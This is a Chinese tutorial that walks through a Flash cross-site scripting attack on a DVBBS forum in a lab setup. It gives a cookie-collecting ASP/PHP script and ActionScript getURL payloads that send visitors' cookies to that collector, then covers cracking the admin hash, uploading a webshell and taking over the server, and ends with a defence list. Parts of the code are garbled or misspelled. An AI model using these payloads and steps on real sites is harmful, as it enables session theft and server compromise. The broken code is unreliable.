Flash跨站攻击是当下比较流行的跨站攻击手段,且没有很好的预防办法。在它的淫威下有多少网站倒下了,站长们对此叫苦不迭。下面我们就看看Flash跨站脚本攻击到底是如何实现的,知己知彼,然后找到应对措施。
虚拟机部署如下测试环境:
操作系统:windows 2003
web服务器:IIS6.0
论坛:动网Version 7.1.0 Sp1
工具
Falsh 8.0
记事本
准备的知识:
首先,先说明一下什么是跨站脚本攻击(CSS/XSS)吧!我们所说跨站脚本是指在远程WEB页面的html代码中插人的其有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为“XSS”,这是因为“CSS”一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或XSS安全漏洞,通常指的都是跨站脚本。Flash跨站攻击是在Flash文件中插入脚本,在播放flash文件的时候脚本被触发,然后通过脚本获取用户的敏感信息或者打开具有网页木马的URL页面从而实现攻击。
一、准备
(一)准备脚本
1、ASP脚本
第一步:构造攻击脚本
打开记事本输入如下代码输入并保存为cookies_flash.asp:
<%
testfile=server.mappath("cookies.txt")
msg=request("msg")
set fs=server.createobject("scripting.filesystemobject")
set thisfile=fs.opentextfile(testfile,8,true,0)
thisfile.writeline("&msg$")
thisfile=close
set fs=nothing
%>
第二步:把cookies_flash.asp上传到支持asp的空间,我们就把它复制到测试环境的论坛根目录下,URL地址为:
http://192.168.0.5/flash/cookies_flash.asp
2、PHP脚本
第一步:PHP论坛和ASP论坛一样,把如下代码保存为cookies_flash.php:
$info=getenv('query_srring');
if(info){
$fp=fopen('cookies.txt,'a');
fwrite($fp,$info,'/n);
fclose($fp);
}
?>
第二步:上传cookies_flash.php到PHP论坛根目录,比如URL地址为:
http://192.168.0.5/flash/cookies_flash.php
提示:由于ASP和PHP的Flash脚本跨站攻击方式类似,因此我们就以比较大众的ASP论坛来演示。
(二)准备Flash
第一步:运行Flash 8.0,创建一个影片,在第一帧中右键选择“动作”,输入如下代码:
getURL("javascript:window.open('http://192.168.0.5/flash/cookies_flash.asp?sg=$#39;+document.cookie')");
第二步:导出影片为cookies.swf上传到论坛中,我们把它复制到测试论坛的根目录中,其URL地址为:
http://192.168.0.5/flash/cookies.swf
补充:插入如上代码创建的Flash文件,在网页打开是会闪,不够隐蔽。用如下代码可以解决这个问题:
(上面的代码分两部分,第一部分是定义了PUrl,并对其的属性进行了设置,包括调用的页面以及页面的属性。第二部分是通过FLASH的getURL函数调用PUR1)
二、攻击演示
1.获取信息
第一步:打开论坛http://192.168.0.5/flash,注册一个用户flash_test,然后点击发表新帖,然后在标题中写入比较有诱惑力的话语,在正文中通过Flash标签插入刚才精心准备的Flash的URL地址,即http://192.168.0.5/flash/cookies.swf。
第二步:接下来就是等待了,等到你的帖子点击数不再是0的时候cookies.asp目录下的cookies.txt就能看到不少用户的cookies了。我们是测试,因此用论坛默认的管理员admin登录,然后浏览刚才发的帖子,打开flash。这样管理员的相关信息由flash脚本通过cookies_flash.asp文件及其相关参数,写入了http://192.168.0.5/flash/cookies.txt文件中。
2.信息利用
(1)得到cookies后可以通过cookies欺骗,修改本机的有关flash_test用户的cookies信息为admin的,就可以欺骗进入论坛后台。这个就不演示了。
(2)通过工具爆破admin管理员密码的MD5加密值x1sfv3h775WrZ845。拷贝其通过工具破解得到管理员的密码为admin888。(默认的密码,我没有改。)
提示:一定要修改论坛安装时的默认密码,而且密码一定要复杂,这样就算被Flash跨站工具获得密码的MD5值破解起来就会增加难度。
3.进入论坛后台
利用刚才得到的管理员密码,先在前台登录然后点击“管理”按钮输入用户名和密码成功进入后台。
4.得到webshell
通过后台修改上传文件的类型,或者通过备份数据,上传一个网马。
如果服务器设置不当或者应用程序有漏洞不需要太费尽,这台服务器就可以拿下,如果是虚拟主机的话,那有多少网站都被控制。我们的渗透到此为止。
以上的Flash跨站攻击测试只是其最常规的用法,其使用可谓博大精深,比如说将指令改为
getURP("javascript:window.open('http://192.168.0.5/flash/wm.html')");
打开了一个挂马的网站。
getURP("javascript:window.open('http://www.xxx.com/addadmin.asp?username=lw')");
提交了一个名为lw的管理员。
总结:我们通过虚拟的环境演示了Flash跨站攻击,通过准备、获取信息、利用信息,一直到得到管理员密码,进入后台,获得webshell,直至拿下服务器,可见Flash跨站攻击的危害之大。那如何防范这样的攻击呢?
四、预防Flash跨站攻击
1.在你的WEB浏览器上禁用javascript脚本,具体方法,先打开你的IE的internet选项,切换到“安全”选项卡,有个“自定义”级别,选择禁用就可以了。但是好象不太可能,因为一旦禁用,很多功能就丧失了,这个方法是下策。
2.开发者要仔细审核代码,对提交输入的数据进行有效检查,如空格,ascii码等,这个是上策。但是由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,这主要依赖于所开发程序的作用,建议过滤掉所有元字符。
3.登录论坛,选择不保存cookies,可预防cookies欺骗。
4.用可以屏蔽flash广告的浏览器,或者安装相关的插件。
5.不打开带有诱惑性的帖子。
6.管理员在后台屏蔽相关的词汇。
7.安装微软防跨站脚本库
下载地址:
http://www.microsoft.com/downloads/details.aspx?FamilyID=efb9c819-53ff-4f82-bfaf-e11625130c25&DisplayLang=en
总结:Flash跨站攻击手段多样,要有效预防是比较困难的,提高自身的安全意识才是关键。其实网络中的攻击除了技术之外,利用最多的就是使用者的疏忽大意,突破了用户这道防线,任何安全措施都失去了作用,这就是网络安全中的“木桶原理”吧。